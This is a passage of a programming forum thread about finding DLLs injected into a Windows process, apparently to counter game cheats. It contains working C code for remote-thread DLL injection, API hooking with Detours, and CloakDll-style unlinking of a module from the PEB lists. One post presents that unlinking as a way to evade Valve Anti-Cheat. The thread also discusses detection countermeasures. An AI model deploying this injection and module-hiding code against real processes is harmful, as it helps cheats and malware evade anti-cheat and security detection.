Thread: Find Injected DLLs In A Process?

  1. #16
    Reverse Engineer maxorator's Avatar
    Join Date
    Aug 2005
    Location
    Estonia
    Posts
    2,318
    Quote Originally Posted by BobS0327 View Post
    My "gut" feeling is that CloakDll can possibly be defeated by going down to ring0 and hooking the LoadLibary API etc. This is just theory on my part.
    Almost everything can be theoretically detected or prevented by going down to ring0. But drivers for game protection are often considered offensive.
    "The Internet treats censorship as damage and routes around it." - John Gilmore

  2. #17
    Registered User
    Join Date
    Jan 2009
    Posts
    31
    I would think that the guard page could be defeated by querying the protection on a page with VirtualQuery before actually accessing it. If it's flagged as a guard page, VirtualProtect can simply unset that flag (and then be used to reset it when done, of course). It doesn't appear that VirtualQuery actually triggers the STATUS_GUARD_PAGE_VIOLATION (which seems logical), but only attempting to access the memory. Of course, API hooking could be used to detect this type of detection, so I suppose this will always be about what side puts in more effort to defeat the other.

  3. #18
    Reverse Engineer maxorator's Avatar
    Join Date
    Aug 2005
    Location
    Estonia
    Posts
    2,318
    Quote Originally Posted by tjb View Post
    Of course, API hooking could be used to detect this type of detection, so I suppose this will always be about what side puts in more effort to defeat the other.
    Indeed, since API hooking can be avoided by adding your own reversed or copied from ReactOS functions which totally replace the usermode part of the required functions.

    But then again, the PE header page of the injected DLL can simply be wiped empty since it is of no use after the DLL has been loaded. Also the DLL must get rid of the MEM_IMAGE type of that page too, otherwise it would still look suspicious - 0x1000 byte section with MEM_IMAGE type followed by a larger section that after a small heuristics check looks like machine code would certainly look suspicious to more advanced detectors.

    In ring3, there will probably be a limit how far you can go with this protection, but in ring0 there are practically no limits whatsoever.
    Last edited by maxorator; 01-18-2009 at 05:01 AM.
    "The Internet treats censorship as damage and routes around it." - John Gilmore

  4. #19
    Registered User
    Join Date
    Mar 2005
    Location
    Mountaintop, Pa
    Posts
    1,058
    Quote Originally Posted by tjb View Post
    I would think that the guard page could be defeated by querying the protection on a page with VirtualQuery before actually accessing it. If it's flagged as a guard page, VirtualProtect can simply unset that flag (and then be used to reset it when done, of course). It doesn't appear that VirtualQuery actually triggers the STATUS_GUARD_PAGE_VIOLATION (which seems logical), but only attempting to access the memory. Of course, API hooking could be used to detect this type of detection, so I suppose this will always be about what side puts in more effort to defeat the other.
    Well, you can't test any posted theories with the above CloakDll code since it has issues. I've started putting together some code to analyze this cloaking utility. Unfortunately, CloakDll always causes the targeted app to crash when it is executed. Attaching OllyDbg to the running process prior to executing Cloakdll to determine the cause of the crash just doesn't provide any really helpful info.

    I've resorted to using the author's other code, ManualMap for testing purposes sinces it's more reliable. You'll have to find the code on the net.

    But anyway, here is the test code that I'm using so far, if you wish to confirm my statements:

    Here's my injected dll to hijack the MessageBox call using MS's Detours library:

    Code:
    #pragma comment(lib, "detours.lib")
    #pragma comment(lib, "detoured.lib")
    #pragma comment(lib, "user32.lib")
    
    #include <stdio.h>
    #include <windows.h>
    #include "detours.h"
    
    INT (WINAPI * trueMessageBox)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) = MessageBox;
    
    INT WINAPI hookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
    {
        LPCSTR lpNewText = "You've been hijacked";
        trueMessageBox(hWnd, lpNewText, lpCaption, uType);
        return 0;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
    {
        LONG error;
        (void)hinst;
        (void)reserved;
        if (dwReason == DLL_PROCESS_ATTACH)
        {
        MessageBox(NULL, "Started", "Test DLL Started", MB_OK);
            DetourRestoreAfterWith();
            DetourTransactionBegin();
            DetourUpdateThread(GetCurrentThread());
            DetourAttach(&(PVOID&)trueMessageBox, hookedMessageBox);
            error = DetourTransactionCommit();
    
            if (error == NO_ERROR)
    		 MessageBox(NULL, "Finished", "Test DLL Finished", MB_OK);
            else
    			 MessageBox(NULL, "Error", "Test DLL error", MB_OK);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
            DetourTransactionBegin();
            DetourUpdateThread(GetCurrentThread());
            DetourDetach(&(PVOID&)trueMessageBox, hookedMessageBox);
            error = DetourTransactionCommit();
    		MessageBox(NULL, "Removed", "Test DLL Removed", MB_OK);
        }
        return TRUE;
    }
    My injection routine:
    Code:
    #pragma comment(lib, "advapi32.lib")
    
    #include <stdio.h>
    #include <windows.h>
    #include <Tlhelp32.h>
    
    int main(int argc, char **argv)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        HANDLE hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
        BOOL bProcess = Process32First(hTool32, &pe32);
        if(bProcess == TRUE)
        {
            while((Process32Next(hTool32, &pe32)) == TRUE)
            {
                if(strcmp(pe32.szExeFile, argv[1]) == 0)
                {
                     char DirPath[MAX_PATH] = {0};
                    char FullPath[MAX_PATH] = {0};
                    GetCurrentDirectory(MAX_PATH, DirPath);
                    sprintf(FullPath, "%s\\test.dll", DirPath);
                    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD    | PROCESS_VM_OPERATION    |
                        PROCESS_VM_WRITE, FALSE, pe32.th32ProcessID);
                    LPVOID LoadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),
                        "LoadLibraryA");
                    LPVOID LLParam = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(FullPath),
                        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
                    WriteProcessMemory(hProcess, LLParam, FullPath, strlen(FullPath), NULL);
                    CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryAddr,
                        LLParam, NULL, NULL);
                    CloseHandle(hProcess);
                }
            }
            CloseHandle(hTool32);
        }
            return 0;
    }
    I've writtin a very basic GUI "Hello world" app with a button to display a MessageBox for testing purposes and I've verified that the Detours code and my injecting process work properly. Thus, I'll be testing VirtualQuery/VirtualProtect and other theories to determine whether or not they work.

    Finally, ListDlls utilty is a handy tool to have when you're investigating code such as CloakDll.

  5. #20
    'Allo, 'Allo, Allo
    Join Date
    Apr 2008
    Posts
    639
    Unfortunately, CloakDll always causes the targeted app to crash when it is executed.
    That's probably due to compiling with the "Enable Function Level Linking" flag. With that enabled, function pointers are indexes into a jump table so all that gets copied is part of the the table, which in the target process probably point to no mans land.

    Also, freeing the memory your executing in the target process is going to lead to a crash.
    Last edited by adeyblue; 01-18-2009 at 02:12 PM.

  6. #21
    Reverse Engineer maxorator's Avatar
    Join Date
    Aug 2005
    Location
    Estonia
    Posts
    2,318
    Quote Originally Posted by adeyblue View Post
    That's probably due to compiling with the "Enable Function Level Linking" flag. With that enabled, function pointers are indexes into a jump table so all that gets copied is part of the the table, which in the target process probably point to no mans land.

    Also, freeing the memory your executing in the target process is going to lead to a crash.
    Also, buffer security check must be disabled.
    "The Internet treats censorship as damage and routes around it." - John Gilmore

  7. #22
    Registered User
    Join Date
    Mar 2005
    Location
    Mountaintop, Pa
    Posts
    1,058
    Quote Originally Posted by pobri19 View Post
    Sweet, that sounds like a good method. Is there any other methods they could use to access functions of the OpenGL DLL? I'll probably need to account for all of them haha.

    EDIT: I found a method used to 'hide' these DLL files, here's the code that they appear to be using:

    Source: http://www.battleforums.com/forums/d...akdll-cpp.html

    Code:
    //		    CloakDll     -	by Darawk	-	RealmGX.com
    //
    //	The purpose of CloakDll is to allow the user to hide any loaded
    //	module from the windows API.  It works by accessing the modules
    //	list stored in the PEB, and subsequently unlinking the module
    //	in question from all 4 of the doubly-linked lists that it's a
    //	node of.  It then zeroes out the structure and the path/file
    //	name of the module in memory.  So that even if the memory where
    //	the data about this module used to reside is scanned there will
    //	still be no conclusive evidence of it's existence.  At present
    //	there is only one weakness that I have found in this method.
    //	I'll describe how it may still be possible to discover at least
    //	that a module has been hidden, after a brief introduction to how
    //	the GetModuleHandle function works.
    //
    //	*The following information is not documented by Microsoft.  This
    //	 information consists of my findings while reverse-engineering 
    //	 these functions and some of them may be incorrect and/or
    //	 subject to change at any time(and is almost definitely different
    //	 in different versions of windows, and maybe even in different
    //	 service packs).  I've tried to make my code as version independant
    //	 as possible but certain parts of it may not work on older versions
    //	 of windows.  I've tested it on XP SP2 and there i'll guarantee
    //	 that it works, but on any other versions of windows, it's anyone's
    //	 guess.*
    //
    //	GetModuleHandle eventually calls GetModuleHandleExW, which in
    //	turn accesses the native API function GetDllHandle, which calls
    //	GetDllHandleEx.  And it's not until here, that we actually see
    //	anything even begin to look up information about loaded modules.
    //	Whenever GetModuleHandle is called, it saves the address of the
    //	last ModuleInfoNode structure that it found in a global variable
    //	inside of ntdll.  This global variable is the first thing
    //	checked on all subsequent calls to GetModuleHandle.  If the
    //	handle being requested is not the one that was requested the last
    //	time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
    //	LdrpCheckForLoadedDll begins by converting the first letter of the
    //	module name being requested to uppercase, decrementing it by 1 and
    //	AND'ing it with 0x1F.  This effectively creates a 0-based index
    //	beginning with the letter 'A'.  The purpose of this is so that
    //	the module can first be looked up in a hash table.  The hash table
    //	consists entirely of LIST_ENTRY structures.  One for each letter
    //	'A' through 'Z'.  The LIST_ENTRY structure points to the first
    //	and last modules loaded that begin with the letter assigned to
    //	that entry in the hash table.  The Flink member being the first
    //	loaded beginning with that letter, and the Blink member being the
    //	last.  The code scans through this list until it finds the module
    //	that it's looking for.  On the off-chance that it doesn't find it
    //	there, or if the boolean argument UseLdrpHashTable is set to false
    //	it will begin going through one of the other three lists.  If, at
    //	this point it still doesn't find it, it will admit defeat and return
    //	0 for the module handle.
    //
    //	Weakness:  The global variable inside ntdll that caches the pointer
    //	to the last module looked up could be used to at least detect the
    //	fact that a module has been hidden.  The LdrUnloadDll() function
    //	will set this value to 0 when it unloads a module, so if the cache
    //	variable points to an empty structure, the only logical conclusion
    //	would be a hidden module somewhere in the process.  This could be
    //	resolved by using the static address of this variable and simply
    //	zeroing it out.  However, this would make the code specific to only
    //	one version of windows.  You could also scan the address space of
    //	ntdll for any occurences of the base address(aka module handle)
    //	of the module you're hiding.  However, this would be slow and it
    //	would clutter up the CloakDll_stub function, because it'd have to
    //	all be done manually.  And i'd have to either use a static base
    //	address for ntdll...which would probably work on most versions
    //	of windows, however I really don't like using static addresses.  
    //	Or i'd have to manually locate it by writing my own unicode 
    //	string comparison code, to lookup ntdll in the list by it's name.
    //	Realistically though anyone trying to detect this way would run
    //	into the same problem.  That their code would not be version
    //	independant.  So, it's unlikely to see any largescale deployment
    //	of such a technique.  However, anyone who would like to solve
    //	this problem themselves is perfectly free, and encouraged to do
    //	so.
    
    #include <windows.h>
    #include <winnt.h>
    #include <tlhelp32.h>
    #include <shlwapi.h>
    
    
    #pragma comment(lib, "shlwapi.lib")
    
    #define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
    #define UNLINK(x) (x).Blink->Flink = (x).Flink; \
    	(x).Flink->Blink = (x).Blink;
    	
    #pragma pack(push, 1)
    
    typedef struct _UNICODE_STRING {
      USHORT  Length;
      USHORT  MaximumLength;
      PWSTR  Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    typedef struct _ModuleInfoNode
    {
    	LIST_ENTRY LoadOrder;
    	LIST_ENTRY InitOrder;
    	LIST_ENTRY MemoryOrder;
    	HMODULE baseAddress;		//	Base address AKA module handle
    	unsigned long entryPoint;
    	unsigned int size;			//	Size of the modules image
    	UNICODE_STRING fullPath;
    	UNICODE_STRING name;
    	unsigned long flags;
    	unsigned short LoadCount;
    	unsigned short TlsIndex;
    	LIST_ENTRY HashTable;	//	A linked list of any other modules that have the same first letter
    	unsigned long timestamp;
    } ModuleInfoNode, *pModuleInfoNode;
    
    typedef struct _ProcessModuleInfo
    {
    	unsigned int size;			//	Size of a ModuleInfo node?
    	unsigned int initialized;
    	HANDLE SsHandle;
    	LIST_ENTRY LoadOrder;
    	LIST_ENTRY InitOrder;
    	LIST_ENTRY MemoryOrder;
    } ProcessModuleInfo, *pProcessModuleInfo;
    
    
    #pragma pack(pop)
    
    bool CloakDll_stub(HMODULE);
    void CD_stubend();
    
    bool CloakDll(char *, char *);
    unsigned long GetProcessIdFromProcname(char *);
    HMODULE GetRemoteModuleHandle(unsigned long, char *);
    
    
    int main(int argc, char **argv)
    {
    	CloakDll("notepad.exe", "kernel32.dll");
    	return 0;
    }
    
    bool CloakDll(char *process, char *dllName)
    {
    	PathStripPath(dllName);
    
    	unsigned long procId;
    	procId = GetProcessIdFromProcname(process);
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
    
    	//	Calculate the length of the stub by subtracting it's address
    	//	from the beginning of the function directly ahead of it.
    	//
    	//	NOTE: If the compiler compiles the functions in a different
    	//	order than they appear in the code, this will not work as
    	//	it's supposed to.  However, most compilers won't do that.
    	unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
    
    	//	Allocate space for the CloakDll_stub function
    	void *stubAddress = VirtualAllocEx(hProcess, 
    		NULL, 
    		stubLen, 
    		MEM_RESERVE | MEM_COMMIT,
    		PAGE_EXECUTE_READWRITE);
    
    	//	Write the stub's code to the page we allocated for it
    	WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
    
    	HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
    
    	//	Create a thread in the remote process to execute our code
    	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
    
    	//	Clean up after ourselves, so as to leave as little impact as possible
    	//	on the remote process
    	VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
    	return true;
    }
    
    bool CloakDll_stub(HMODULE hMod)
    {
    	ProcessModuleInfo *pmInfo;
    	ModuleInfoNode *module;
    
    	_asm
    	{
    		mov eax, fs:[18h]		// TEB
    		mov eax, [eax + 30h]	// PEB
    		mov eax, [eax + 0Ch]	// PROCESS_MODULE_INFO
    		mov pmInfo, eax
    	}
    
        module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
    	
    	while(module->baseAddress && module->baseAddress != hMod)
    		module = (ModuleInfoNode *)(module->LoadOrder.Flink);
    
    	if(!module->baseAddress)
    		return false;
    
    	//	Remove the module entry from the list here
    	///////////////////////////////////////////////////	
    	//	Unlink from the load order list
    	UNLINK(module->LoadOrder);
    	//	Unlink from the init order list
    	UNLINK(module->InitOrder);
    	//	Unlink from the memory order list
    	UNLINK(module->MemoryOrder);
    	//	Unlink from the hash table
    	UNLINK(module->HashTable);
    
    	//	Erase all traces that it was ever there
    	///////////////////////////////////////////////////
    
    	//	This code will pretty much always be optimized into a rep stosb/stosd pair
    	//	so it shouldn't cause problems for relocation.
    	//	Zero out the module name
    	memset(module->fullPath.Buffer, 0, module->fullPath.Length);
    	//	Zero out the memory of this module's node
    	memset(module, 0, sizeof(ModuleInfoNode));	
    
    	return true;
    }
    
    __declspec(naked) void CD_stubend() { }
    
    unsigned long GetProcessIdFromProcname(char *procName)
    {
       PROCESSENTRY32 pe;
       HANDLE thSnapshot;
       BOOL retval, ProcFound = false;
    
       thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
       if(thSnapshot == INVALID_HANDLE_VALUE)
       {
          MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
          return false;
       }
    
       pe.dwSize = sizeof(PROCESSENTRY32);
    
        retval = Process32First(thSnapshot, &pe);
    
       while(retval)
       {
          if(StrStrI(pe.szExeFile, procName) )
          {
             ProcFound = true;
             break;
          }
    
          retval    = Process32Next(thSnapshot,&pe);
          pe.dwSize = sizeof(PROCESSENTRY32);
       }
    
       return pe.th32ProcessID;
    }
    
    HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
    {
    	MODULEENTRY32 modEntry;
    	HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
    
    	modEntry.dwSize = sizeof(MODULEENTRY32);
        Module32First(tlh, &modEntry);
    
    	do
    	{
    		if(!stricmp(modEntry.szModule, module))
    			return modEntry.hModule;
    		modEntry.dwSize = sizeof(MODULEENTRY32);
    	}
    	while(Module32Next(tlh, &modEntry));
    
    	return NULL;
    }
    IMHO, CloakDll was probably posted as a prank. You'll find a lot of misinformation like this on the net. If I were you, I would encourage them to use this CloakDll code since it's harmless.

    I would suggest you single step your debugger thru CloakDll and you'll understand why its harmless.

    I've chosen to do the cloaking in the DLL as opposed to doing something similar to CloakDll.

    I won't post fully functional cloaking code since that is frowned upon on this forum. But pobr19 PM me with an email address and I'll send you the complete source which will include a starting point for counter measures that actually do work.

  8. #23
    Registered User
    Join Date
    Jan 2009
    Posts
    5
    Other way to do it can be by hooking every thread creation through a DLL (when DllMain() receives a DLL_THREAD_ATTACH event in BobS0327's way) and just check if the thread was own created or was externally. You can even kill not allowed threads.

    The way to check it was internally created (and not remotely) could be using and internal MyCreateThread() in the DLL, for example:

    Code:
    HANDLE MyCreateThread(...) {
    
      CreateThread(... CREATE_SUSPENDED ...);    // Actual creation
      // Keep handle into a list of allowed threads
      ResumeThread(...);  // Make the thread run
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved) {
    
      if(dwReason == DLL_THREAD_ATTACH) {
        if(GetCurrentThread() is NOT in the list)
           ExitThread(0);   // Kill it!
      }
    }
    Last edited by Nota; 01-26-2009 at 08:00 AM.

  9. #24
    Hurry Slowly vart's Avatar
    Join Date
    Oct 2006
    Location
    Rishon LeZion, Israel
    Posts
    6,788
    Isn't the DllMain located in the Injected DLL? That you do not have an access to the source code?
    All problems in computer science can be solved by another level of indirection,
    except for the problem of too many layers of indirection.
    – David J. Wheeler

  10. #25
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Quote Originally Posted by vart View Post
    Isn't the DllMain located in the Injected DLL? That you do not have an access to the source code?
    That was my thought too.

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  11. #26
    Reverse Engineer maxorator's Avatar
    Join Date
    Aug 2005
    Location
    Estonia
    Posts
    2,318
    Quote Originally Posted by vart View Post
    Isn't the DllMain located in the Injected DLL? That you do not have an access to the source code?
    Other than that, the idea itself is not bad, since the first thread of a module is created by Windows, so that module never gets a chance to dodge it.

    Although it won't help against modules that are loaded before the process's main thread.
    "The Internet treats censorship as damage and routes around it." - John Gilmore

  12. #27
    Registered User
    Join Date
    Jan 2009
    Posts
    5
    Quote Originally Posted by vart View Post
    Isn't the DllMain located in the Injected DLL? That you do not have an access to the source code?
    DLLMain() is the control function (loading/finishing/thread support... events handler, so it's called on every of those events) for every DLL. Every new thread calls the DllMain() of every DLL already loaded at its creation.

    The idea is to use your own DLL, loaded at program startup, to detect the injection of other "malicious" DLLs (really, thread injections).

  13. #28
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Quote Originally Posted by Nota View Post
    The idea is to use your own DLL, loaded at program startup, to detect the injection of other "malicious" DLLs (really, thread injections).
    But a debug call from another process to inject another DLL into an already running process, I doubt will actually be detectable this way.

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  14. #29
    Reverse Engineer maxorator's Avatar
    Join Date
    Aug 2005
    Location
    Estonia
    Posts
    2,318
    Quote Originally Posted by matsp View Post
    But a debug call from another process to inject another DLL into an already running process, I doubt will actually be detectable this way.

    --
    Mats
    I have to check it out - not sure whether LoadLibrary() triggers user-mode CreateThread() or not. ReactOS source is a good place to check it out.
    "The Internet treats censorship as damage and routes around it." - John Gilmore

  15. #30
    Registered User
    Join Date
    Feb 2009
    Posts
    2

    Exclamation

    The 'CloakDLL' code is not a "prank" by any means, this method of hiding your module from the PEB list has been a known working means of evading detection by VAC2 (VALVE ANTI-CHEAT) for some years now. If you're familiar with the site OpenRCE as I'm sure you are, Pnluck posted an article detailing this a couple years ago:

    http://www.openrce.org/blog/view/844/How_to_hide_dll

    in short:
    Code:
    		while(modulo->BaseAddress != 0)
    		{
    			if( (ULONG_PTR)modulo->BaseAddress == DllHandle)
    			{
    				if(modulo->InInitializationOrderModuleList.Blink == NULL) 
    					return false;
    
    				prec = (LDR_MODULE*)(ULONG_PTR)((ULONG_PTR)modulo->InInitializationOrderModuleList.Blink - 16);
    				next = (LDR_MODULE*)(ULONG_PTR)((ULONG_PTR)modulo->InInitializationOrderModuleList.Flink - 16);
    				prec->InInitializationOrderModuleList.Flink = modulo->InInitializationOrderModuleList.Flink;
    				next->InInitializationOrderModuleList.Blink = modulo->InInitializationOrderModuleList.Blink;
    				prec = (LDR_MODULE*)modulo->InLoadOrderModuleList.Blink;
    				next = (LDR_MODULE*)modulo->InLoadOrderModuleList.Flink;
    				prec->InLoadOrderModuleList.Flink = modulo->InLoadOrderModuleList.Flink;
    				prec->InMemoryOrderModuleList.Flink = modulo->InMemoryOrderModuleList.Flink;
    				next->InLoadOrderModuleList.Blink = modulo->InLoadOrderModuleList.Blink;
    				next->InMemoryOrderModuleList.Blink = modulo->InMemoryOrderModuleList.Blink;
    
    				memset( modulo, 0, sizeof( LDR_MODULE ) );
    				return true;
    			}
    			modulo = (LDR_MODULE*)modulo->InLoadOrderModuleList.Flink;
    		}
    In my research I have written several applications for detecting such methods, to point you in the right direction you will need to use Nt/ZwQueryInformationProcess.

    Good Luck.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 3
    Last Post: 10-15-2008, 09:24 AM
  2. Process manipulation questions
    By Sfel in forum Windows Programming
    Replies: 7
    Last Post: 05-17-2008, 12:39 PM
  3. Retrieving binary file name from a process
    By maxhavoc in forum Linux Programming
    Replies: 5
    Last Post: 04-12-2006, 02:50 PM
  4. Redirecting STDOUT to STDIN of a child process
    By 0xception in forum Linux Programming
    Replies: 4
    Last Post: 09-13-2005, 11:58 PM
  5. Replies: 12
    Last Post: 05-17-2003, 05:58 AM